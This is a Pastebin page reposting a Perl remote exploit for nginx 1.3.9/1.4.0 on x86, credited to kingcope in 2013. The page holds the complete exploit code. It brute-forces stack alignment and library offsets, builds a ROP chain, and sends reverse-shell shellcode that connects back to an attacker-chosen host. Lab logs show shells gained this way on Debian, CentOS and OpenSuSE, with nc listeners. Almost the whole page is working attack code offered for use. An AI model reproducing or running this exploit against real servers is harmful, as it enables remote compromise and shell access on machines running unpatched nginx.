daily pastebin goal
52%
SHARE
TWEET

#MalwareMustDie! ZERODAY of EXPLOIT KIT & EVIL PROXIES NGNIX

MalwareMustDie Jul 11th, 2013 701 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
 
  1. #nginx 1.3.9/1.4.0 x86 brute force remote exploit
  2. # copyright (c) 2013 kingcope
  3. #----------------------------
  4. #fix for internet exploitation, set MTU:
  5. #ifconfig <interface> mtu 60000 up
  6. #
  7. ###
  8. # !!! WARNING !!!
  9. # this exploit is unlikely to succeed when used against remote internet hosts.
  10. # the reason is that nginx uses a non-blocking read() at the remote connection,
  11. # this makes exploitation of targets on the internet highly unreliable.
  12. # (it has been tested against a testbed on the internet but I couldn't exploit
  13. # any other box with it. required was the above ifconfig setting on the client.
  14. # maybe enabling large tcp frame support on a gigabit connection is more
  15. # useful)
  16. # so use it inside intranets only (duh!), this remains a PoC for now :D
  17. # The exploit does not break stack cookies but makes use of a reliable method
  18. # to retrieve all needed offsets for Linux x86 and pop a shell.
  19. ###
  20. #TODO
  21. #*cleanup code
  22. #*implement stack cookie break and amd64 support
  23. #*support proxy_pass directive
  24. ###
  25. =for comment
  26. TARGET TESTS (Debian, Centos, OpenSuSE)
  27.  
  28. 1. Debian 7
  29. perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443
  30. Testing if remote httpd is vulnerable % SEGV %
  31. YES %
  32. Finding align distance (estimate)
  33. testing 5250 align  % SEGV %
  34. testing 5182 align  % SEGV %
  35. Verifying align
  36. Finding align distance (estimate)
  37. testing 5250 align  % SEGV %
  38. testing 5182 align  % SEGV %
  39. Finding write offset, determining exact align
  40. testing 0x08049c50, 5184 align  % SURVIVED %
  41. Extracting memory \
  42. bin search done, read 20480 bytes
  43. exact align found 5184
  44. Finding exact library addresses
  45. trying plt 0x08049a32, got 0x080bc1a4, function 0xb76f4a80  % FOUND exact ioctl 0x08049a30 %
  46. trying plt 0x08049ce2, got 0x080bc250, function 0xb773e890  % FOUND exact memset 0x08049ce0 %
  47. trying plt 0x08049d52, got 0x080bc26c, function 0xb76f8d40  % FOUND exact mmap64 0x08049d50 %
  48. Found library offsets, determining mnemonics
  49. trying 0x0804ed2d  % SURVIVED %
  50. exact large pop ret 0x0804a7eb
  51. exact pop x3 ret 0x0804a7ee
  52. bin search done |
  53. See reverse handler for success
  54.  
  55. nc -v -l -p 443
  56. listening on [any] 443 ...
  57. 192.168.27.146: inverse host lookup failed: Unknown host
  58. connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778
  59. uname -a;id;
  60. Linux dakkong 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
  61. uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
  62. cat /etc/debian_version
  63. 7.1
  64.  
  65. 2. CentOS 6.4
  66. perl ngxunlock.pl 192.168.27.129 80 192.168.27.129 443
  67. Testing if remote httpd is vulnerable % SEGV %
  68. YES %
  69. Finding align distance (estimate)
  70. testing 5250 align  % SEGV %
  71. testing 5194 align  % SEGV %
  72. Verifying align
  73. Finding align distance (estimate)
  74. testing 5250 align  % SEGV %
  75. testing 5194 align  % SEGV %
  76. Finding write offset, determining exact align
  77. testing 0x08049990, 5200 align  % SURVIVED %
  78. Extracting memory /
  79. bin search done, read 20480 bytes
  80. exact align found 5200
  81. Finding exact library addresses
  82. trying plt 0x080499f2, got 0x080b31ac, function 0x0094a6b0  % FOUND exact memset 0x080499f0 %
  83. trying plt 0x08049b52, got 0x080b3204, function 0x008f1fd0  % FOUND exact ioctl 0x08049b50 %
  84. trying plt 0x08049f12, got 0x080b32f4, function 0x008f72c0  % FOUND exact mmap64 0x08049f10 %
  85. Found library offsets, determining mnemonics
  86. trying 0x0804e9d4  % SURVIVED %
  87. exact large pop ret 0x0806194d
  88. exact pop x3 ret 0x0804a832
  89. bin search done /
  90. See reverse handler for success
  91.  
  92. nc -v -l 443
  93. Connection from 192.168.27.129 port 443 [tcp/https] accepted
  94. uname -a;id;
  95. Linux localhost.localdomain 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux
  96. uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  97. cat /etc/redhat*
  98. CentOS release 6.4 (Final)
  99.  
  100. 3. OpenSuSE 12.1
  101. perl ngxunlock.pl 192.168.27.135 80 192.168.27.135 443
  102. Testing if remote httpd is vulnerable % SEGV %
  103. YES %
  104. Finding align distance (estimate)
  105. testing 5250 align  % SEGV %
  106. testing 5182 align  % SEGV %
  107. Verifying align
  108. Finding align distance (estimate)
  109. testing 5250 align  % SEGV %
  110. testing 5182 align  % SEGV %
  111. Finding write offset, determining exact align
  112. testing 0x08049a18, 5184 align  % SURVIVED %
  113. Extracting memory \
  114. bin search done, read 20480 bytes
  115. exact align found 5184
  116. Finding exact library addresses
  117. trying plt 0x08049a6a, got 0x080be08c, function 0xb75f74f0  % FOUND exact memset 0x08049a68 %
  118. trying plt 0x08049b8a, got 0x080be0d4, function 0xb764b160  % FOUND exact ioctl 0x08049b88 %
  119. trying plt 0x08049eea, got 0x080be1ac, function 0xb76501e0  % FOUND exact mmap64 0x08049ee8 %
  120. Found library offsets, determining mnemonics
  121. trying 0x0804ea7f  % SURVIVED %
  122. exact large pop ret 0x0804a7fa
  123. exact pop x3 ret 0x0804a101
  124. bin search done -
  125. See reverse handler for success
  126.  
  127. Connection from 192.168.27.135 port 443 [tcp/https] accepted
  128. uname -a;id;
  129. Linux linux-01xg 3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
  130. uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup)
  131.  
  132. cat /etc/SuSE-*
  133. openSUSE
  134. VERSION = 12.1
  135. openSUSE 12.1 (i586)
  136. VERSION = 12.1
  137. CODENAME = Asparagus
  138. =cut
  139.  
  140. use IO::Socket;
  141.  
  142. if ($#ARGV < 3) {
  143. print "nginx remote exploit\n";
  144. print "copyright (c) 2013 kingcope\n";
  145. print "usage: $0 <target> <target port> <reverse ip> <reverse port>\n";
  146. exit;
  147. }
  148.  
  149. $target = $ARGV[0];
  150. $targetport = $ARGV[1];
  151. $cbip = $ARGV[2];
  152. $cbport = $ARGV[3];
  153.  
  154. #linux reverse shell by bighawk
  155. $lnxcbsc =
  156. "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b"  
  157. ."\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68"
  158. ."\x7f\x7f\x7f\x7f" # IP
  159. ."\x66\x68" . "\xb0\xef" # PORT
  160. ."\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66"
  161. ."\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2"  
  162. ."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
  163.  
  164. ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
  165. substr($lnxcbsc, 31, 4, $a1 . $a2 . $a3 . $a4);
  166.  
  167. ($p1, $p2) = split(//, reverse(pack("s", $cbport)));
  168. $p1 = chr(ord($p1));
  169. $p2 = chr(ord($p2));
  170. substr($lnxcbsc, 37, 2, $p1 . $p2);
  171.  
  172. $|=1;
  173. $uri="";
  174. ###test target vulnerable
  175. #XXX
  176. #$k = 0x80498d0;
  177. #$align2 = 5200;
  178. #$alignplus=0;
  179. #goto debug;
  180.  
  181. print "Testing if remote httpd is vulnerable ";
  182. $uritested = 0;
  183. test:
  184. goto l;
  185. connecterr:
  186. if ($j==0) {
  187.         print "\nDestination host unreachable\n";
  188.         exit;
  189. }
  190. goto again;
  191. l:
  192. for ($j=0;$j<15;$j++) {
  193. again:
  194.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  195.                                   PeerPort => $targetport,
  196.                                   Proto    => 'tcp') || {goto connecterr};                                  
  197.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  198.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  199.                    ."Connection: close\r\n"
  200.                    ."Transfer-Encoding:chunked\r\n\r\n";
  201.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  202.                 $stack = pack("V", 0xc0debabe);
  203.                 twinkle();             
  204.                 print $sock $req;
  205.                 send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
  206.                 $l = read($sock, $buffer, 0x10);
  207.                 close($sock);
  208.                 twinkle();
  209.  
  210.                 if ($buffer =~ /HTTP\/1.1/) {
  211.                         next;
  212.                 }
  213.                 if ($l <= 0) {
  214.                         print "% SEGV %\n";
  215.                         print "YES %\n";
  216.                         goto yes;
  217.                 }      
  218. }
  219.  
  220. if ($uritested == 0) {
  221.         $uri = "50x.html";
  222.         $uritested=1;
  223.         goto test;
  224. }
  225. print "\n\\\\ NO %\n";
  226. print "\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n";
  227. $sock = IO::Socket::INET->new(PeerAddr => $target,
  228.                               PeerPort => $targetport,
  229.                               Proto    => 'tcp') || {goto connecterr};                                  
  230. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  231. $req = "GET / HTTP/1.1\r\nHost: $target\r\n"
  232.       ."Connection: keep-alive\r\n"
  233.       ."Transfer-Encoding:chunked\r\n\r\n";
  234. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  235. $stack = pack("V", 0xc0debabe);
  236. print $sock $req;
  237. send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
  238. $line = 0;
  239. while(<$sock>) {
  240.         print;
  241.         if ($line > 30) {
  242.                 last;
  243.         }
  244. }
  245. exit;
  246. ###find align
  247. $verifyalign = 0;
  248. yes:
  249. print "Finding align distance (estimate)\n";
  250. for ($align=4050;$align<6000;$align+=100) {
  251. for ($j=0;$j<15;$j++) {
  252.                 printf("testing %d align ",$align);
  253. again0_1:
  254. #               $sock = IO::Socket::INET->new(PeerAddr => $target,
  255.  #                                 PeerPort => $targetport,
  256.   #                                Proto    => 'tcp') || {goto again0_1};
  257. #               setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  258. #               $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  259.  #                  ."Connection: close\r\n\r\n";
  260. #               print $sock $req;
  261. #               close($sock);
  262.  
  263.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  264.                                   PeerPort => $targetport,
  265.                                   Proto    => 'tcp') || {goto again0_1};
  266.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  267.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  268.                    ."Connection: keep-alive\r\n"
  269.                    ."Transfer-Encoding:chunked\r\n\r\n";
  270.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  271.                 $stack = pack("V", 0xc0debabe);
  272.                 print $sock $req;
  273.                 send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
  274.                 $l = read($sock, $buffer, 0x10);
  275.                 twinkle();
  276.                 close($sock);
  277.                
  278.                 if ($l <= 0) {
  279.                         if ($align == 4050) {
  280.                                 goto out;
  281.                         }
  282.                         print " % SEGV %\n";
  283.                         $alignstart = $align-100;
  284.                         goto incalign;
  285.                 }
  286.                 print "\r\r\r\r";
  287.                 if ($buffer =~ /HTTP\/1.1/) {
  288.                         next;
  289.                 }
  290.         close($sock);
  291. }
  292. }
  293. out:
  294. print "\n\\\\ Align not found\n";
  295. exit;
  296.  
  297. incalign:
  298. for ($align=$alignstart;$align<6000;$align++) {
  299. for ($j=0;$j<7;$j++) {
  300.                 printf("testing %d align ",$align);
  301. again0_2:
  302. #               $sock = IO::Socket::INET->new(PeerAddr => $target,
  303.  #                                 PeerPort => $targetport,
  304.   #                                Proto    => 'tcp') || {goto again0_2};
  305. #               setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  306. #               $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  307.  #                  ."Connection: close\r\n\r\n";
  308. #               print $sock $req;
  309. #               close($sock);
  310.  
  311.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  312.                                   PeerPort => $targetport,
  313.                                   Proto    => 'tcp') || {goto again0_2};
  314.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  315.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  316.                    ."Connection: keep-alive\r\n"
  317.                    ."Transfer-Encoding:chunked\r\n\r\n";
  318.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  319.                 $stack = pack("V", 0xc0debabe);
  320.                 print $sock $req;
  321.                 send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
  322.         $l = read($sock, $buffer, 0x10);
  323.                 twinkle();
  324.                 close($sock);
  325.                 if ($l <= 0) {
  326.                         print " % SEGV %\n";
  327.                         if ($verifyalign == 0) {
  328.                                 print "Verifying align\n";
  329.                                 $verifyalign = $align;
  330.                                 goto yes;
  331.                         }
  332.  
  333.                         if (($align > $verifyalign + 4) || ($align < $verifyalign - 4))  {
  334.                                 print "\\\\ Align and verfied align do not match\n";
  335.                                 exit;
  336.                         }
  337.  
  338.                         if ($verifyalign < $align) {
  339.                                 $align = $verifyalign;
  340.                         }
  341.  
  342.                         goto begin;
  343.                 }
  344.                 print "\r\r\r\r";
  345.  
  346.                 if ($buffer =~ /HTTP\/1.1/) {
  347.                         next;
  348.                 }
  349.         close($sock);
  350. }
  351. }
  352. print "\n\\\\ could not find align value. bailing out";
  353. exit;
  354. ###find write offset
  355. begin:
  356. print "Finding write offset, determining exact align\n";
  357. $align2 = $align;
  358. $ok = 0;
  359. #for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) {
  360. for ($k=0x08049800;$k<=0x0804FFFF;$k+=4) {
  361. #for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) {    
  362. for ($alignplus=0;$alignplus<7;$alignplus++) {
  363. debug:
  364. for ($j=0;$j<10;$j++) {
  365.                 if (pack("V", $k) =~ /\x20/) {
  366.                         next;
  367.                 }
  368.                 $align = $align2 + $alignplus;
  369.                 printf("testing 0x%08x, %d align ",$k,$align);
  370. again1:
  371. #               if ($ok==0) {
  372. #               $sock = IO::Socket::INET->new(PeerAddr => $target,
  373.  #                                 PeerPort => $targetport,
  374.   #                                Proto    => 'tcp') || {goto again1};
  375. #               setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  376. #               $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  377.  #                  ."Connection: close\r\n\r\n";
  378. #               print $sock $req;
  379. #               close($sock);
  380. #               }
  381.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  382.                                   PeerPort => $targetport,
  383.                                   Proto    => 'tcp') || {goto again1};
  384.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  385.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  386.                    ."Connection: keep-alive\r\n"
  387.                    ."Transfer-Encoding:chunked\r\n\r\n";
  388.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  389. #               $k = 0x8049e30; #XXX
  390.                 $stack = pack("V", $k) # write plt assumed,eg 0x804ab6c
  391.                                 . "ZZZZ" # crash dummy
  392.                                 . "\x03\x00\x00\x00" # write file descriptor
  393.                                 . pack("V", $k-0x1000) # write buffer
  394.                                 . "\xff\xff\xf0\x00"; # write size
  395.                 #$p = <stdin>;
  396.                 print $sock $req;
  397.                 if ($ok == 0) {
  398.                 send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
  399.                 } else {
  400.                 send($sock, "A" x ($align-1024) . $stack . "A" x 500, MSG_OOB);
  401.                 }
  402.                 $l = read($sock, $buffer, 0x5000);
  403.                 twinkle();
  404.                 close($sock);
  405. #0x8049c50
  406.  
  407.                 if ($buffer =~ /HTTP\/1.1/) {
  408.                         if ($ok == 0) {
  409.                                 print "\r\r\r\r";
  410.                                 next;
  411.                         } else {
  412.                                 goto again1;
  413.                         }
  414.                 }
  415.  
  416.                 if ($ok == 1 && length($buffer) < 0x2000) {
  417.                         goto again1;
  418.                 }
  419.  
  420.                 if (length($buffer) > 350) {
  421.                         if ($ok == 0) {
  422.                                 $ok = 1;
  423.                                 print " % SURVIVED %\n";
  424.                                 print("Extracting memory ");
  425.                                 goto again1;
  426.                         }                      
  427.                         print "\nbin search done, ";
  428.                         printf("read %d bytes\n", $l);
  429.                         goto hit;
  430.                 }                          
  431.                 print "\r\r\r\r";
  432. }
  433. }
  434. }      
  435. print "\n\\\\unable to get write offset\n";
  436. exit;
  437. hit:
  438. printf("exact align found %d\n", $align);
  439. print "Finding exact library addresses\n";
  440. $write = $k;
  441. $writeless = $write-0x1000;
  442. ### find offsets for mmap64, memset and ioctl
  443. $mmap64 = "";
  444. $ioctl = "";
  445. $memset = "";
  446. $mmap64_prefix =
  447. "\x55\x53\x56\x57\x8b\x54\x24\x28"
  448. ."\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f"
  449. ."\x00\x00\x75";
  450. $ioctl_prefix =
  451. "\x53\x8b\x54\x24\x10\x8b\x4c\x24"
  452. ."\x0c\x8b\x5c\x24\x08\xb8\x36\x00"
  453. ."\x00\x00";
  454. $memset_prefix =
  455. "\x53\x8b\x4c\x24\x10\x0f\xb6\x44"
  456. ."\x24\x0c\x88\xc4\x89\xc2\xc1\xe0"
  457. ."\x10\x09\xd0\x8b\x54\x24\x08\x83";
  458. $memset_prefix2 =
  459. "\xfc\x57\x8b\x54\x24\x08\x8b\x4c"
  460. ."\x24\x10\x0f\xb6\x44\x24\x0c\xe3"
  461. ."\x2c\x89\xd7\x83\xe2\x03\x74\x11";
  462. $memset_prefix3 =
  463. "\x57\x8b\x7c\x24\x08\x8b\x54\x24"
  464. ."\x10\x8a\x44\x24\x0c\x88\xc4\x89"
  465. ."\xc1\xc1\xe0\x10\x66\x89\xc8\xfc";
  466. $memset_prefix4 =
  467. "\x55\x89\xe5\x57\x56\x83\xec\x04".
  468. "\x8b\x75\x08\x0f\xb6\x55\x0c\x8b".
  469. "\x4d\x10\x89\xf7\x89\xd0\xfc\x83";
  470.  
  471. $buffer2 = $buffer;
  472. $buffer3 = $buffer;
  473. plt_again:
  474. $buffer2 = $buffer3;
  475. for(;;) {
  476.         $i = index($buffer2, "\xff\x25");
  477.         if ($i >= 0) {
  478.                 if (($j = index($buffer3, substr($buffer2, $i, 50))) <= 0) {
  479.                         $buffer2 = substr($buffer2, $i+2);
  480.                         next;
  481.                 }
  482.                 $buffer2 = substr($buffer2, $i+2);
  483.                 $address = $writeless + $j;
  484.                 ### delve into library function
  485.                 printf "trying plt 0x%08x, ", ($address+2);
  486. again2:
  487.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  488.                                           PeerPort => $targetport,
  489.                                           Proto    => 'tcp') || {goto again2};
  490.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  491.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  492.                    ."Connection: keep-alive\r\n"
  493.                    ."Transfer-Encoding:chunked\r\n\r\n";
  494.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  495.                                 $stack = pack("V", $write) # write plt
  496.                                 . "ZZZZ" # crash dummy
  497.                                 . "\x03\x00\x00\x00" # write file descriptor
  498.                                 . pack("V", $address+2) # write buffer
  499.                                 . "\x00\x03\x00\x00"; # write size
  500.                 print $sock $req;
  501.                 send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);               
  502.  
  503.                 $l = read($sock, $buffer, 0x300);
  504.                 if ($buffer =~ /HTTP\/1.1/) {
  505.                         goto again2;
  506.                 }
  507.                 if ($l == 0x300) {
  508.                         $gotentry = unpack("V", substr($buffer,0,4));
  509.                         if ($gotentry == 0) {
  510.                         print "\r\r\r\r";
  511.                         next;
  512.                         }
  513.                         close($sock);
  514.                 } else {
  515.                         close($sock);
  516.                         goto again2;
  517.                 }
  518.                                
  519.                 printf "got 0x%08x, ", $gotentry;
  520. again3:
  521.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  522.                                           PeerPort => $targetport,
  523.                                           Proto    => 'tcp') || {goto again3};
  524.  
  525.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  526.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  527.                    ."Connection: keep-alive\r\n"
  528.                    ."Transfer-Encoding:chunked\r\n\r\n";
  529.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  530.                 $stack = pack("V", $write) # write plt
  531.                                 . "ZZZZ" # crash dummy
  532.                                 . "\x03\x00\x00\x00" # write file descriptor
  533.                                 . pack("V", $gotentry) # write buffer
  534.                                 . "\x00\x03\x00\x00"; # write size
  535.                 print $sock $req;
  536.                 send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);               
  537.  
  538.                 $l = read($sock, $buffer, 0x300);
  539.                 close($sock);
  540.                 if ($buffer =~ /HTTP\/1.1/) {
  541.                         goto again3;
  542.                 }
  543.                 if ($l == 0x300) {
  544.                         $function = unpack("V", substr($buffer,0,4));
  545.                 } else {
  546.                         goto again3;
  547.                 }
  548.                 if ($function == 0) {
  549.                 print "\r\r\r\r";
  550.                 next;
  551.                 }
  552.  
  553.                 printf "function 0x%08x ", $function;
  554. again4:
  555.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  556.                                           PeerPort => $targetport,
  557.                                           Proto    => 'tcp') || {goto again4};
  558.  
  559.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  560.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  561.                    ."Connection: keep-alive\r\n"
  562.                    ."Transfer-Encoding:chunked\r\n\r\n";
  563.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  564.                 $stack = pack("V", $write) # write plt
  565.                                 . "ZZZZ" # crash dummy
  566.                                 . "\x03\x00\x00\x00" # write file descriptor
  567.                                 . pack("V", $function) # write buffer
  568.                                 . "\xff\xff\xf0\x00"; # write size
  569.                 print $sock $req;
  570.                 send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);               
  571.  
  572.                 #$p = <stdin>;
  573.                 $l = read($sock, $buffer, 0x500);
  574.                 close($sock);
  575.                 if ($buffer =~ /HTTP\/1.1/) {
  576.                         goto again4;
  577.                 }
  578.                 if ($l != 0x500) {
  579.                         goto again4;
  580.                 }
  581.                 ###            
  582.                
  583.                 if (substr($buffer, 0, length($mmap64_prefix)) eq
  584.                         $mmap64_prefix) {
  585.                         $mmap64 = $address;
  586.                         printf(" %% FOUND exact mmap64 0x%08x %%\n", $mmap64);
  587.                 }
  588.                 if ((substr($buffer, 0, length($memset_prefix)) eq
  589.                         $memset_prefix) or
  590.                     (substr($buffer, 0, length($memset_prefix2)) eq
  591.                          $memset_prefix2) or
  592.                     (substr($buffer, 0, length($memset_prefix3)) eq
  593.                          $memset_prefix3) or
  594.                     (substr($buffer, 0, length($memset_prefix4)) eq
  595.                          $memset_prefix4)) {
  596.                         $memset = $address;
  597.                         printf(" %% FOUND exact memset 0x%08x %%\n", $memset);
  598.                 }
  599.                 if (substr($buffer, 0, length($ioctl_prefix)) eq
  600.                         $ioctl_prefix) {
  601.                         $ioctl = $address;
  602.                         printf(" %% FOUND exact ioctl 0x%08x %%\n", $ioctl);
  603.                 }
  604.                
  605.                 if (($mmap64 ne "") and ($memset ne "") and ($ioctl ne "")) {          
  606.                         goto gotplt;
  607.                 }
  608.                 print "\r\r\r\r";
  609.         } else {
  610.                 last;
  611.         }
  612. }
  613. print "\nFinding exact library addresses\n";
  614. goto plt_again;
  615. gotplt:
  616. print "Found library offsets, determining mnemonics\n";
  617. ### find pop pop pop ret
  618. ### to set socket blocking
  619. for ($k=$write + 0x5000;;$k++) {
  620.                 printf("trying 0x%08x ",$k);
  621. again5:
  622.                 $sock = IO::Socket::INET->new(PeerAddr => $target,
  623.                                   PeerPort => $targetport,
  624.                                   Proto    => 'tcp') || {goto again5};
  625.                 setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  626.                 $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  627.                    ."Connection: keep-alive\r\n"
  628.                    ."Transfer-Encoding:chunked\r\n\r\n";
  629.                 $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  630.                                 $stack = pack("V", $ioctl)
  631.                                 . pack("V", $k) # pop pop pop ret assumed
  632.                                 . "\x03\x00\x00\x00"
  633.                                 . "\x21\x54\x00\x00"
  634.                                 . "\x08\x80\x04\x08" # null byte
  635.                                 . pack("V", $write) # write plt found
  636.                                 . "ZZZZ" # crash dummy
  637.                                 . "\x03\x00\x00\x00" # write file descriptor
  638.                                 . pack("V", $write) # write buffer
  639.                                 . "\xff\xff\x0f\x00"; # write size
  640.                 print $sock $req;
  641.                 send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);               
  642.  
  643.                 #$p = <stdin>;
  644.                 $l = read($sock, $buffer, 0xfffff);
  645.                 close($sock);
  646.                 twinkle();
  647.                 if ($buffer =~ /HTTP\/1.1/) {
  648.                         again5;
  649.                 }
  650.  
  651.                 if ($l  > 0xfff) {
  652.                         print " % SURVIVED %\n";
  653.                         close($sock);
  654.                         goto hit2;
  655.                 }
  656.                 print "\r\r\r\r";
  657.                 next;
  658. }
  659. hit2:
  660. ###send attack buffer
  661. ###find largepopret
  662. @matches = $buffer =~ /(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
  663. foreach $m (@matches) {
  664.         $i = index($buffer, $m);
  665.         twinkle();
  666.         print "\r";
  667.         if ($i >= 0) {
  668.                 $__largepopret = $write + $i;
  669.                 printf("exact large pop ret 0x%08x\n", $__largepopret);
  670.                 goto hit3;
  671.         }
  672. }
  673. print "\\\\ large pop ret not found\n";
  674. exit;
  675. hit3:
  676. ###find poppoppopret
  677. @matches = $buffer =~ /([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
  678. foreach $m (@matches) {
  679.         $i = index($buffer, $m);
  680.         if ($i >= 0) {
  681.                 $__poppoppopret = $write + $i;
  682.                 printf("exact pop x3 ret 0x%08x\n", $__poppoppopret);
  683.                 goto attack;
  684.         }
  685. }
  686. print "\\\\ poppoppopret not found\n";
  687. exit;
  688. attack:                  
  689. $largepopret = pack("V", $__largepopret);
  690. $popblock = "\x00\x00\x00\x00"
  691.            ."\x00\x00\x00\x00"
  692.            ."\x00\x00\x00\x00"
  693.            ."\x00\x00\x00\x00";
  694. $popret = pack("V", $__poppoppopret+2);
  695. $poppoppopret = pack("V", $__poppoppopret);
  696. $pop3ret = $__poppoppopret;
  697.  
  698. $copycode = "\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4"
  699.                    ."\xeb\xff";
  700. $memsetcode = "";
  701. $copyaddress = 0x10000000;
  702. for ($i=0;$i<length($copycode);$i++) {
  703.         $byte = substr($copycode, $i, 1);
  704.         $memsetcode .= pack("V", $memset)
  705.                          . pack("V", $pop3ret)
  706.                          . pack("V", $copyaddress)
  707.                          . $byte . "\x00\x00\x00"
  708.                          . "\x01\x00\x00\x00";
  709.         $copyaddress++;
  710. }
  711. for ($q=0;$q<10;$q++) {
  712. print "bin search done ";
  713. sleep(1);
  714. twinkle();
  715. print "\r"
  716. }
  717. print "\n";
  718. print "See reverse handler for success\n";
  719. again6:
  720. $sock = IO::Socket::INET->new(PeerAddr => $target,
  721.                           PeerPort => $targetport,
  722.                           Proto    => 'tcp') || {goto again6};
  723. setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  724. $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
  725.       ."Connection: close\r\n"
  726.       ."Transfer-Encoding:chunked\r\n\r\n";
  727. $req .= "0" x (1024-length($req)-16) . "8000000000003770";
  728. $stack = pack("V", $mmap64)
  729.         . $largepopret
  730.         ."\x00\x00\x00\x10" # mmap start
  731.         ."\x00\x10\x00\x00" # mmap size
  732.         ."\x07\x00\x00\x00" # mmap prot
  733.         ."\x32\x00\x00\x00" # mmap flags
  734.         ."\xff\xff\xff\xff" # mmap fd
  735.         ."\x00\x00\x00\x00" # mmap offset
  736.         ."\x00\x00\x00\x00" # mmap offset
  737.         . $popblock
  738.         . $memsetcode
  739.         . "\x00\x00\x00\x10" # JUMP TO 0x10000000 (rwxp addr)
  740.         . "\x90" x 100 . $lnxcbsc;
  741. #$p = <stdin>;
  742. print $sock $req;
  743. send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);               
  744. close($sock);
  745.  
  746. goto again6; # XXX
  747. my $current = 0;
  748. sub twinkle {
  749. $cursors[0] = "|";
  750. $cursors[1] = "/";
  751. $cursors[2] = "-";
  752. $cursors[3] = "\\";
  753. print "$cursors[$current++]\b";
  754. if ($current > 3) {
  755.         $current = 0;
  756. }
  757. }
RAW Paste Data
